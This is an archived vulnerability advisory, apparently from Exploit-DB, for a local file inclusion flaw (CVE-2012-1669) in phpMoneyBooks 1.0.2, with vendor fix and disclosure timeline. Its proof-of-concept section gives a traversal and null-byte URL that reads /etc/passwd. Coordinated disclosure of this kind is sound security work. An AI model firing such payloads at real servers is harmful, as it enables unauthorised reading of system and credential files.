phpMoneyBooks 1.0.2 - Local File Inclusion

EDB-ID:

18648




Platform:

PHP

Date:

2012-03-22


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'phpMoneyBooks' Local File Inclusion (CVE-2012-1669)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
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A vulnerability exists in index.php for module handling that allows for local file inclusion using a null-byte attack on the 'module' GET parameter.

 
II. TESTED VERSION
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1.0.2


III. PoC EXPLOIT
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http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00


IV. NOTES 
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* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
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Upgrade to 1.0.3 or above.


VI. REFERENCES
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http://phpmoneybooks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1669


VII. TIMELINE
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02/29/2012 - Initial vendor disclosure
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure